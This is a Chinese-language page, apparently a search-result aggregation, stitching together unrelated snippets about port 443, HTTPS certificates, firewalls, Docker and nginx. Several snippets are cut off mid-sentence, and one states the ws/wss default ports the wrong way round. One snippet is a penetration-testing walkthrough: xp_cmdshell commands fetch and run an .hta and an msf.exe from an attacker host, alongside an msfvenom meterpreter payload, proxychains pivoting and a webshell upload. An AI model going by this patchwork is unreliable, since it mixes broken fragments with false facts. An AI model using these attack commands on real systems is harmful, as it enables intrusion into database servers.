在安装SSL证书时，其中一个步骤是选择HTTPS连接的默认端口——443端口。这个端口到底是做什么的，为什么用这样的数字命名？
一些互联网服务提供商或公司可能已经阻止了大多数网络端口，并且只允许使用少数特定端口（如：80 和 443）来进行服务访问，以加强其安全性。 在这种情况下，如果我们需要将更多的服务暴露在公网上，我们该怎么办呢？这时你别无选择，只有为多个程序共用相同的端口，比如：共用 HTTPS 的端口 443。
一.问题过程现象描述： 1，在mysql数据库正常访问的时候，图片路径访问失败（mysql先用80端口测试，之后用的443端口）： 之前是打开服务器目录下的图片链接报错是404： image.png 2.关闭80端口之后，mysql数据库也不能正常访问： ①后来在服务器命令行中，查看占用的端口的进程： netstat -alnp | grep 80 kill -9 删除进程号 image.png ②打开服务器目录下的图片链接报错是503： image.png
CentOS 8防火墙常规设置命令记录 开启防火墙 systemctl start firewalld 重启防火墙 systemctl restart firewalld 设置防火墙开机自启动 systemctl enable firewalld 查看防火墙状态 systemctl status firewalld 关闭防火墙开机自启动 systemctl disable firewalld 关闭防火墙 systemctl stop firewalld 查看
Discourse 默认会使用 SSL ，如果你的 Discourse 安装后，不能访问。
Docker 建立好容器后，配置并不容易修改，本文记录修改建立好的容器的端口映射的方法。 背景 已经建立好了容器，配置了初始端口映射信息 但是端口映射错了/多了/少了，需要调整容器的端口映射 具体方法 方法一 将当前容器通过 docker commit 命令生成镜像 通过镜像重新建立容器，建立时使用正确的端口映射 好处是包治百病，正规途径 缺点就是过程繁琐，不够优雅 方法二 端口映射等容器信息都是存在某个地方，通过配置文件管理的，我们仅需修改配置文件的端口信息即可完成改写 以我当前的 n
今天想做PHP程序，结果启动Apache的时候控制台报443端口被占用。原因是我的虚拟机VMware占用443端口用于连接远程服务器的。其实出现这些状况很正常。因为不同的程序很有可能同时需要一个端口维持其服务。这里写给入门者告诉大家解决方法。
在容器首次启动是，可通过-p参数（-P参数则会随机选择宿主机的一个端口进行映射）来指定宿主机和容器端口的映射，例如：
在购买域名的时候我相信很多人都遇到了对于证书的问题，之前我也是使用阿里云的免费一年的证书，那时候感觉还好，一年更换一次，但是近期阿里云对于证书的过期时间直接砍到了三个月！让我难以接受，所以我在想吧他直接集成到我的FastGateway中，让他自动申请，自动续期！下面我将教大家如何使用Fast Gateway自动申请证书！
端口号 443 和 80 端口的区别 一般指定 443 和 80 端口都是使用域名时所需要的 当我们使用域名请求时，一般是不添加端口号的 例如：http://www.baidu.com 在不添加端口号的情况下，会有默认端口号的 https 默认端口号为 443 http 默认端口号为 80 同理： ws 默认端口号为 443 wss 默认端口号为 80
腾讯云服务器安装宝塔面板，宝塔面板依赖8888、888、80、443、20和21端口，如果云服务器安全组没有放通8888|888|80|443|20|21端口，需要在安全组中开启，否则无法正常使用宝塔面板，腾讯云服务器（ txyfwq.com ）网来详细说下腾讯云服务器安全组开启宝塔面板8888端口教程：
这里我们使用的是腾讯云轻量应用服务器，因为我已经购买，而腾讯云最近推出了docker基础镜像，所以首次尝试一下。我这里选择Ubuntu20.04-Docker20是因为Debian系软件包普遍更新且占用更低
在这篇技术博客中，我们将深入探讨如何解决Git在连接GitHub时遇到的“Failed to connect to github.com port 443 after 21090 ms: Couldn‘t connect to server”错误。本文适合各级别读者，无论你是编程新手还是经验丰富的开发者，都能从中获益。通过SEO优化，本文包含关键词如Git, GitHub, 端口443, VPN, 代理设置等，旨在帮助更多遇到相同问题的朋友。
公司在https服务器（端口443）进行正常登陆业务等处理 https://ip1:443/ 然后在端口444服务器进行资料文件上传等处理 https://ip1:444/ 因为服务器在https://ip1:443/登陆成功之后对cookie中的session进行校验保存，而一旦出现访问443->444->443，就是进行文件上传操作后，再调用443端口后，服务器对session校验失败，出现会话超时问题
首先，让我们迈进80/tcp端口，这个地方就像是数字版的美食街，即HTTP的天堂。在这里，你可以品尝到各种各样的网页美味。有的是炸鸡网页，有的是披萨网页，当然，还有那些经典的汉堡网页。整个街区都散发着浓郁的信息香气，让人垂涎三尺。
Discourse 官方推荐使用docker部署项目， 好处是简单快捷， 坑的是docker镜像默认占用了80端口和443端口， 对于我这种一台机器部署多个网站的人，明显不够用，我需要将 Discourse 默认占用的80和443端口映射到宿主机的其它端口，比如80映射到宿主机的20080， 443映射到宿主机的 20443
b、输入netstat -nao|findstr 443，查看第二列ip后面数字为443的程序，最后一列是PID（程序id）；——即查看含有443字符串的程序；
firewall-cmd --zone=public --add-port=80/tcp --permanent # 开放tcp80端口 firewall-cmd --zone=public --add-port=443/tcp --permanent # 开放tcp443端口 firewall-cmd --zone=public --add-port=3306/tcp --permanent # 开放tcp3306端口 firewall-cmd --zone=public --add-port=6379/tcp --permanent # 开放tcp6379端口
判断域名解析是否支持ipv6 找一台支持ipv6网络的客户端电脑，仅使用ipv6网络来ping网站域名，如果解析域名返回的ip地址不是ipv6，则说明域名ipv6解析未做。编译nginx
在日常运维工作中，经常会需要检查本机或者其他服务器的端口开放情况，虽然自己本身也会几个基本的查看端口连通性的命令，但是也会遇到某些服务器上面没有安装自己会的工具，所以收集了一些可以用来检测端口连通性的命令工具。
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项： 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的，所以在不出网主机上无法访问和执行，最终导致无法上线。 思路拓展： bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多，都要用到MSF虚拟路由，只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事，不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由，再用MSF中的Socks模块开一个Socks代理，设置选项可以不做修改，直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件，在底部填入127.0.0.1和1080端口，然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功？ proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件，通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole，配置好handler监听模块bind_tcp相关选项执行监听，在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向：
上一节我演示了如何通过 Egress Gateway 引导 Istio 的出口 HTTP 流量，但到 443 端口的 HTTPS 流量没有通过 Egress Gateway，而是直接转到 edition.cnn.com 。Istio 出口流量的 TLS 演示了如何在网格内部直接通过 HTTP 协议访问外部加密服务。本文尝试将这两者结合起来，先将 HTTP 流量路由到 Egress Gateway，然后直接使用 Egress Gateway 发起 TLS 连接。
首先例如使用https://www.Se7eN_HOU.com进行首页访问，首先会先进入到主服务器里面，经过主服务器的Nginx Web服务器，进行web服务。这时主服务器的nginx就会监听80端口，收到这个请求
这半个多月来，用闲置的电脑和已有的家庭宽带，从wsl折腾到vmware，安装了Ubuntu系统，折腾搭建家庭服务器，安装一系列软件，折腾了无数个日夜，遇到了很多问题，并逐步解决，今天终于打通最后一公里，Nginx带端口反向代理完成，开放一个端口，其他服务通过对应不同二级或三级域名来访问，打通网络最后一公里，算是圆满了。先mark一下，接下来安排时间再细化记录。
防火墙 ==> 端口转发 中添加端口转发，将外网 5500 应设置 OpenWrt 的 80 端口
童鞋们众所周知LVS是基于第4层来做负载均衡调度的，默认也是基于端口来做后端服务器的健康状态检测，但公司总是出现一些后端Real Server如JBOSS假死后不服务，端口却还存活着的状况，这样导致LVS继续将用户的请求分发给这台宕机的服务器，结果返回给用户的却是502，503......，当然也可以用HAProxy或Nginx做7层负载均衡，但是转发性能有瓶颈，这里不对产品和功能做介绍，本文主要与下面这种架构的童鞋们做交流。
关于Naabu Naabu是一款基于Go语言开发的快速端口扫描工具，该工具可以帮助广大研究人员以快速可靠的方式枚举目标主机的有效端口。该工具在实现了简单易用的情况下，同时保证了运行的可靠性。该工具支持对主机/主机列表进行快速SYN/CONNECT扫描，并列出所有返回了响应信息的端口。 功能介绍 快速简单的SYN/CONNECT探针扫描 使用Shodan Internetdb API的被动端口枚举功能 优化了易用性和资源的轻量级 端口扫描引入自动IP重复数据消除 基于NMAP的服务发现功能 多来源输入
由于http显示的不安全让我感觉很不好，所以百度了一下，添加了SSL证书，而后成功转换成了https，过程记录如下，希望对师傅们有所帮助。
request 的值并不是指给容器实际分配的资源大小，它仅仅是给调度器看的，调度器会 “观察” 每个节点可以用于分配的资源有多少，也知道每个节点已经被分配了多少资源。被分配资源的大小就是节点上所有 Pod 中定义的容器 request 之和，它可以计算出节点剩余多少资源可以被分配(可分配资源减去已分配的 request 之和)。如果发现节点剩余可分配资源大小比当前要被调度的 Pod 的 reuqest 还小，那么就不会考虑调度到这个节点，反之，才可能调度。所以，如果不配置 request，那么调度器就不能知道节点大概被分配了多少资源出去，调度器得不到准确信息，也就无法做出合理的调度决策，很容易造成调度不合理，有些节点可能很闲，而有些节点可能很忙，甚至 NotReady。
如果需要全站通过docker部署，那么nginx或许是不可或缺的。通过配置nginx,可以迅速实现负载均衡和反向代理服务。值得一提的是，docker官网恰好也有nginx镜像。通过以下命令获取：
在生产环境中往往碰到一个网站需要多个访问端口，而默认的http访问端口是80，https访问的端口是443，然而这是不够在生产环境下使用的，这个时候就需要配置更多的端口来弥补这一缺点。 默认情况下用户输入URL时是约简单越好，比如http://baidu.com ，用户只需要输入baidu.com就可以访问。但是这样是通过http协议进行访问，而并非https进行访问。站在用户的角度来考虑问题他不会管你的网站是通过什么来访问的，他只管我的一些信息不被别人劫持到，这就要使用到https加密来进行访问。 比如我的nginx已经配置好了配置文件，如下图。
因为疫情在家待着无所事事突然想起来一个很经典的漏洞-->永恒之蓝 就用msf工具复现了下。
windows+apache2开启SSL以及80端口强制跳转SSL访问的方法 申请证书 推荐Let’s Encrypt(免费证书的有效期为3个月,但提供了自动更新证书的功能) 开启ssl模块 首先确保apache开启了LoadModule ssl_module modules/mod_ssl.so 配置443端口 再参考官方文档的一段内容: Listen 443 <VirtualHost *:443> DocumentRoot "项目入口文件目录" ServerName 域名 SSL
如果要测试设备A上nginx收到https 443端口的包后，其处理流程是否正确。 首先，执行 netstat -planut |grep 443，查看443端口是否被nginx监听。 tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 2776/nginx 其次，查看监听后的处理是否正常。 1. 打开pc上的hosts文件，文件路径为： C:WindowsSystem32driversetchosts。 2. 在hosts文件的尾部追加一行 ： 47.96.252.132 www.idc.net 其中， 47.96.252.132：你要测试的nginx所在的设备ip。 www.idc.net：域名。 这行的意思是说：www.idc.net的域名解析后的ip地址为47.96.252.132
最近需要使用PHP，于是把平时的积累整理一下，就有了这个教程。 首先是环境配置： 1.操作系统：windos7 2.后台：PHP 3.前台：Html + js + css 4.数据库：MYSQ
微信小程序的服务器配置需要域名备案和上https的。我用的域名是腾讯学生认证的免费域名，腾讯云也可以申请https证书https证书申请好了以后会有一个证书文件，文件里面的nginx下的两个文件是我们用到的。
客户提供的服务器只提供个http的80端口和https的443端口，其他端口不开放，但是我们的后台是8080启动的，访问需要代理转发
This may be due to a blocked port, missing dependencies
Kubernetes 服务是一种为一组功能相同的 pod 提供但以不变的接入点的资源。当服务存在时，它的 IP
http是明文传输，数据在传输时没有加密，存在被读取和修改数据的风险，http传输敏感信息如密码等不够安全。
默认情况下，Spring Boot应用程序在应用程序启动时使用HTTP的8080端口。可按照以下步骤，在Spring Boot应用程序中配置HTTPS和端口443 -
$ sudo vim /etc/apache2/sites-enabled/default-ssl.conf
可以直接通过域名申请； 也可以使用自签证书（自签证书创建可以看我的另一篇文章：[使用KeyStore生成证书]）
序 相关组件介绍 本次分享主要涉及到两个模块console模块和openresty模块。 console模块 即云帮(ACP)控制台模块，为用户提供可视化Web操作界面，监听443端口即可，对证书需求
Port 443 in use by ""F:\Program Files (x86)\VMware\VMware Workstation\vmware-hostd.exe"
在Linux网络管理和监控领域，conntrack命令是一个强大的工具，它提供了对netfilter连接跟踪系统的直接访问🔍。这篇文章将深入探讨conntrack的由来、底层原理、参数意义，以及其常见用法，并对返回结果的每个字段进行详细解释。
使用Cloudflare代理无443/80端口权限的服务器 然后配置回源端口, 以8443为例
不论你用的什么调度算法，在一定时间内来之同一个客户的请求都会发给同一个服务器，默认连接超时是360秒，但这个值你可以自己定义，如果超时后，客户的连接依然存在，则默认以2分钟的方式依次增加。
ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.8.2 (nf_tables)
最近闲来无事发现一款免费的，号称使用智能语义分析算法的WAF（SafeLine，也叫雷池WAF）于是打算搭建试用一下 。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
